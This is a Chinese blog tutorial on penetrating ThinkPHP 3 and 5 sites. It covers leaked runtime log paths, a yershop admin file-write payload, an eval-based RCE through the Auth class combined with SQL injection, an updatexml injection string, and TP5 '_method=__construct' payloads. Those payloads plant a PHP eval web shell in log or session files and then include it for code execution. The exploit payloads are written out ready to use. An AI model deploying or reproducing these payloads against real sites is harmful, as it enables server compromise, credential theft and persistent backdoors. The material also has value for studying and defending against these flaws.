php 渗透技术,关于ThinkPHP的一些渗透方式

本文深入分析了ThinkPHP3和5版本中的安全问题,包括日志文件路径泄露可能导致的敏感信息暴露,以及通过file_put_contents函数的滥用实现的文件写入攻击。此外,详细讲解了Auth类中的eval函数导致的远程代码执行(RCE)漏洞,以及如何通过SQL注入利用这些漏洞。最后提到了ThinkPHP5中的注入和RCE漏洞,并介绍了利用session和log文件包含获取shell的方法。
摘要由CSDN通过智能技术生成

Runtime日志

在ThinkPHP3的版本中,入口文件index.php是跟应用目录,框架目录是同一个目录下的,在DEBUG开启的状态下,会在runtime生成日志文件,会泄露一些管理员登录后台的账号密码等。tp3的日志文件命名规则为:根目录(或者应用目录)/Runtime/Logs/Admin/20_08_17.log(年份前2位_月份_日.log)

8f3ff2fbfdd7c7c8339951a6542705fa.gif

1.png (114.77 KB, 下载次数: 0)

2020-8-17 21:11 上传

在tp5的版本中,入口文件index是在public的目录下,它跟应用目录,框架目录不在同一个目录,但是有些管理员会将入口文件放置到跟应用目录,框架目录同目录,tp5的命名规则为:./runtime/log/202008/17.log(./runtime/log/年月/日.log)

8f3ff2fbfdd7c7c8339951a6542705fa.gif

2.png (73.35 KB, 下载次数: 0)

2020-8-17 21:11 上传

file_put_contents函数

在thinkphp3中,后台有很多时候都会有写入配置文件来getshell的,所以我总是喜欢全局查找这个file_put_contents这个函数,然后我在网上找了个代码--yershop(TP3开发的那个版本)来进行审计,后台可以通过写入文件来拿shell。全局查找file_put_contents函数,发现控制器AddonsController.class.php中的build存在

8f3ff2fbfdd7c7c8339951a6542705fa.gif

3.png (50.78 KB, 下载次数: 0)

2020-8-17 21:12 上传

发现存在两处写入文件,这里第一处需要满足以下条件:

$addon_dir可控,$data可控,$addonModel可控

第二处需要满足:

$data['has_config'] == 1,$addon_dir可控

跟踪发现$data是从全局POST获取的,所有可控,即$addon_dir可控

8f3ff2fbfdd7c7c8339951a6542705fa.gif

4.png (65.17 KB, 下载次数: 0)

2020-8-17 21:12 上传

构造payload如下,后台创建扩展

8f3ff2fbfdd7c7c8339951a6542705fa.gif

5.png (92.14 KB, 下载次数: 0)

2020-8-17 21:12 上传

点击确定,抓包,首先会判断标识名这个插件是否存在,不存在就执行build访问

8f3ff2fbfdd7c7c8339951a6542705fa.gif

6.png (141.54 KB, 下载次数: 0)

2020-8-17 21:12 上传

由于要写入config.php这个文件需要满足$data['has_config'] == 1,最后构造payload

访问:index.php?s=/Admin/Addons/build.html              POST发送:

info%5Bname%5D=Example&info%5Btitle%5D=%E7%A4%BA%E5%88%97&info%5Bversion%5D=0.1&info%5Bauthor%5D=%E6%97%A0%E5%90%8D&info%5Bdescription%5D=%E8%BF%99%E6%98%AF%E4%B8%80%E4%B8%AA%E4%B8%B4%E6%97%B6%E6%8F%8F%E8%BF%B0&info%5Bstatus%5D=1&config=%3C%3Fphp%0D%0Areturn+array(%0D%0A%09'random'%3D%3Earray(%2F%2F%E9%85%8D%E7%BD%AE%E5%9C%A8%E8%A1%A8%E5%8D%95%E4%B8%AD%E7%9A%84%E9%94%AE%E5%90%8D+%2C%E8%BF%99%E4%B8%AA%E4%BC%9A%E6%98%AFconfig%5Brandom%5D%0D%0A%09%09'title'%3D%3E'%E6%98%AF%E5%90%A6%E5%BC%80%E5%90%AF%E9%9A%8F%E6%9C%BA%3A'%2C%2F%2F%E8%A1%A8%E5%8D%95%E7%9A%84%E6%96%87%E5%AD%97%0D%0A%09%09'type'%3D%3E'radio'%2C%09%09+%2F%2F%E8%A1%A8%E5%8D%95%E7%9A%84%E7%B1%BB%E5%9E%8B%EF%BC%9Atext%E3%80%81textarea%E3%80%81checkbox%E3%80%81radio%E3%80%81select%E7%AD%89%0D%0A%09%09'options'%3D%3Earray(%09%09+%2F%2Fselect+%E5%92%8Cradion%E3%80%81checkbox%E7%9A%84%E5%AD%90%E9%80%89%E9%A1%B9%0D%0A%09%09%09'1'%3D%3E'%E5%BC%80%E5%90%AF'%2C%09%09+%2F%2F%E5%80%BC%3D%3E%E6%96%87%E5%AD%97%0D%0A%09%09%09'0'%3D%3E'%E5%85%B3%E9%97%AD'%2C%0D%0A%09%09)%2C%0D%0A%09%09'value'%3D%3E'1'%2C%09%09%09+%2F%2F%E8%A1%A8%E5%8D%95%E7%9A%84%E9%BB%98%E8%AE%A4%E5%80%BC%0D%0A%09)%2C%0D%0A)%3B%0D%0A%09%09%09%09%09&custom_config=&admin_list='model'%3D%3E'Example'%2C%09%09%2F%2F%E8%A6%81%E6%9F%A5%E7%9A%84%E8%A1%A8%0D%0A%09%09%09'fields'%3D%3E'*'%2C%09%09%09%2F%2F%E8%A6%81%E6%9F%A5%E7%9A%84%E5%AD%97%E6%AE%B5%0D%0A%09%09%09'map'%3D%3E''%2C%09%09%09%09%2F%2F%E6%9F%A5%E8%AF%A2%E6%9D%A1%E4%BB%B6%2C+%E5%A6%82%E6%9E%9C%E9%9C%80%E8%A6%81%E5%8F%AF%E4%BB%A5%E5%86%8D%E6%8F%92%E4%BB%B6%E7%B1%BB%E7%9A%84%E6%9E%84%E9%80%A0%E6%96%B9%E6%B3%95%E9%87%8C%E5%8A%A8%E6%80%81%E9%87%8D%E7%BD%AE%E8%BF%99%E4%B8%AA%E5%B1%9E%E6%80%A7%0D%0A%09%09%09'order'%3D%3E'id+desc'%2C%09%09%2F%2F%E6%8E%92%E5%BA%8F%2C%0D%0A%09%09%09'list_grid'%3D%3Earray(+%09%09%2F%2F%E8%BF%99%E9%87%8C%E5%AE%9A%E4%B9%89%E7%9A%84%E6%98%AF%E9%99%A4%E4%BA%86id%E5%BA%8F%E5%8F%B7%E5%A4%96%E7%9A%84%E8%A1%A8%E6%A0%BC%E9%87%8C%E5%AD%97%E6%AE%B5%E6%98%BE%E7%A4%BA%E7%9A%84%E8%A1%A8%E5%A4%B4%E5%90%8D%E5%92%8C%E6%A8%A1%E5%9E%8B%E4%B8%80%E6%A0%B7%E6%94%AF%E6%8C%81%E5%87%BD%E6%95%B0%E5%92%8C%E9%93%BE%E6%8E%A5%0D%0A++++++++++++++++'cover_id%7Cpreview_pic%3A%E5%B0%81%E9%9D%A2'%2C%0D%0A++++++++++++++++'title%3A%E4%B9%A6%E5%90%8D'%2C%0D%0A++++++++++++++++'description%3A%E6%8F%8F%E8%BF%B0'%2C%0D%0A++++++++++++++++'link_id%7Cget_link%3A%E5%A4%96%E9%93%BE'%2C%0D%0A++++++++++++++++'update_time%7Ctime_format%3A%E6%9B%B4%E6%96%B0%E6%97%B6%E9%97%B4'%2C%0D%0A++++++++++++++++'id%3A%E6%93%8D%E4%BD%9C%3A%5BEDIT%5D%7C%E7%BC%96%E8%BE%91%2C%5BDELETE%5D%7C%E5%88%A0%E9%99%A4'%0D%0A++++++++++++)%2C%0D%0A%09%09%09%09%09&custom_adminlist=&has_config=1&config=<?php phpinfo();?>

成功写入config.php文件,访问Addons/Example/config.php

8f3ff2fbfdd7c7c8339951a6542705fa.gif

7-1.png (264.17 KB, 下载次数: 0)

2020-8-17 21:13 上传

所以,在TP3开发的源码中,全局查找file_put_contents很容易中奖。

Auth引发的RCE

在tp3中,在Auth的getAuthList方法存在eval函数,跟进代码ThinkPHP\Library\Think\Auth.class.php

8f3ff2fbfdd7c7c8339951a6542705fa.gif

7.png (91.27 KB, 下载次数: 1)

2020-8-17 21:13 上传

这里需要满足$command变量可控就可以rce了,$command为[表前缀]_auth_rule的condition字段,这里我还是以yershop源码来分析,控制权限的表为yershop_auth_rule。

8f3ff2fbfdd7c7c8339951a6542705fa.gif

8.png (108.38 KB, 下载次数: 1)

2020-8-17 21:13 上传

所以,漏洞触发需要向condition字段写入我们的恶意代码,要利用注入且支持pdo就能写入进去,tp3是以pdo来连接数据库的,这里满足了pdo,就需要寻找注入点来getshell了。

在文件Application\Home\Controller\OrderController.class.php中的detail方法,通过I方法获取id参数。

8f3ff2fbfdd7c7c8339951a6542705fa.gif

9.png (62.82 KB, 下载次数: 0)

2020-8-17 21:14 上传

利用pdo修改condition字段

8f3ff2fbfdd7c7c8339951a6542705fa.gif

10.png (148.35 KB, 下载次数: 0)

2020-8-17 21:14 上传

继续分析,是怎么调用到getAuthList这个方法的,在Application\Admin\Controller\AdminController.class.php控制器中,调用了checkRule方法,在checkRule方法实列了Auth类,并调用了check方法。

8f3ff2fbfdd7c7c8339951a6542705fa.gif

11.png (87.29 KB, 下载次数: 0)

2020-8-17 21:14 上传

跟进check方法

8f3ff2fbfdd7c7c8339951a6542705fa.gif

12.png (68.24 KB, 下载次数: 0)

2020-8-17 21:14 上传

在104行调用了我们的getAuthList方法,执行到了eval函数处。要触发rce,从代码中可以看到需要普通用户的权限才会执行到checkRule方法,所以先添加一个新用户并新增一个用户组,给它文章管理的权限。

8f3ff2fbfdd7c7c8339951a6542705fa.gif

13.png (74.26 KB, 下载次数: 0)

2020-8-17 21:15 上传

登录这个用户,访问我们注入修改的路由,成功rce

8f3ff2fbfdd7c7c8339951a6542705fa.gif

14.png (85.01 KB, 下载次数: 0)

2020-8-17 21:15 上传

SQL注入

在TP3.1.3和TP3.2.3注入都差不多,无非就表达式注入,bind注入,find/select/delete注入,order注入,在之前的文章中,分析过关于tp3.2.3的注入,这里我就不在多说了。这里主要是TP5的注入。

ThinkPHP<=5.0.16 insert/update注入

在ThinkPHP5中,获取请求方式的方法是input,在控制器中,写个存在漏洞的demo

public function getuser(){

$username = input('get.username/a');

$user = db('user')->where(['uid'=>1])->update(['username'=>$username]);

dump($user);

}

漏洞payload

username[0]=dec&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1

8f3ff2fbfdd7c7c8339951a6542705fa.gif

15.png (103.58 KB, 下载次数: 0)

2020-8-17 21:16 上传

在user变量处,断点进行分析,直接进入update方法

8f3ff2fbfdd7c7c8339951a6542705fa.gif

16.png (83.56 KB, 下载次数: 0)

2020-8-17 21:16 上传

继续跟进$this->builder->update

8f3ff2fbfdd7c7c8339951a6542705fa.gif

17.png (75.13 KB, 下载次数: 0)

2020-8-17 21:16 上传

在parseData方法中,进行了sql语句的拼接

8f3ff2fbfdd7c7c8339951a6542705fa.gif

18.png (85.07 KB, 下载次数: 0)

2020-8-17 21:16 上传

当参数传入数组的时候,下标0为exp时候,直接返回下标为1的参数值,而为inc或者dec时候,通过parseKey方法处理了下标为1的参数值,跟进查看parseKey方法

protected function parseKey($key, $options = [])

{

$key = trim($key);

if (strpos($key, '$.') && false === strpos($key, '(')) {

// JSON字段支持

list($field, $name) = explode('$.', $key);

$key                = 'json_extract(' . $field . ', \'$.' . $name . '\')';

} elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) {

list($table, $key) = explode('.', $key, 2);

if ('__TABLE__' == $table) {

$table = $this->query->getTable();

}

if (isset($options['alias'][$table])) {

$table = $options['alias'][$table];

}

}

if (!preg_match('/[,\'\"\*\(\)`.\s]/', $key)) {

$key = '`' . $key . '`';

}

if (isset($table)) {

if (strpos($table, '.')) {

$table = str_replace('.', '`.`', $table);

}

$key = '`' . $table . '`.' . $key;

}

return $key;

}

然而parseKey并没有对传入的字符进行任何过滤,所以当输入exp,inc,dec,都返回的字符串,为什么参数值为exp的时候不能产生注入,原因是在用input方法传入的时候,要经过filterExp进行过滤

public function filterExp(&$value)

{

// 过滤查询特殊字符

if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {

$value .= ' ';

}

// TODO 其他安全过滤

}

当匹配到exp的时候,就会在exp后面添加一个空格,导致不能同parseKey方法中的exp相等。同样,利用insert方法向数据库插入数据也是同种原理。由于篇幅问题,网上的分析文章也多,之后的注入不想再造轮子了,可以详细看这个师傅的文章:https://github.com/Mochazz/ThinkPHP-Vuln。

TP5 rce漏洞

TP5的rce漏洞影响版本:ThinkPHP 5.0.x ~ 5.0.23、ThinkPHP 5.1.x ~ 5.1.31、ThinkPHP 5.2.0beta1

TP5rce的分析网上也比较多了,我这里有也不造轮子了,主要说下在TP渗透,php7版本的关于log文件和session文件包含的问题。

runtime文件包含拿shell

先写入一句话到runtime日志中,POST发送

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['cmd'])?>

runtime的日志文件为./runtime/log/202008/17.log

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/202008/17.log&cmd=phpinfo();

8f3ff2fbfdd7c7c8339951a6542705fa.gif

19.png (186.63 KB, 下载次数: 0)

2020-8-17 21:17 上传

session文件包含拿shell

写入session文件

_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['cmd'])?>&server[]=1

一般linux下的session文件存储在/var/lib/php/session,session的命名为sess_[PHPSESSID]

_method=__construct&method=get&filter[]=think\__include_file&get[]=/var/lib/php/session/sess_sf9vlodcl4j4r1bhli2ddnvr32&server[]=1&cmd=phpinfo();

8f3ff2fbfdd7c7c8339951a6542705fa.gif

20.png (89.02 KB, 下载次数: 1)

2020-8-17 21:17 上传

其实也可以用反序列化的点来,只是有点麻烦,需要去调代码。

_method=__construct&filter=unserialize&method=get&server[REQUEST_METHOD]=序列化

反序列化

反序列化点通常都是在代码审计当中被发现的,当unserialize可控时可以触发,但是只光靠unserialize可控很难找到可控点,这时安全研究员Sam Thomas分享了一个关于phar反序列的漏洞,大大增加了反序列化的利用点。由于TP5-6的反序列化分析篇幅比较大,可以直接看我博客:

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值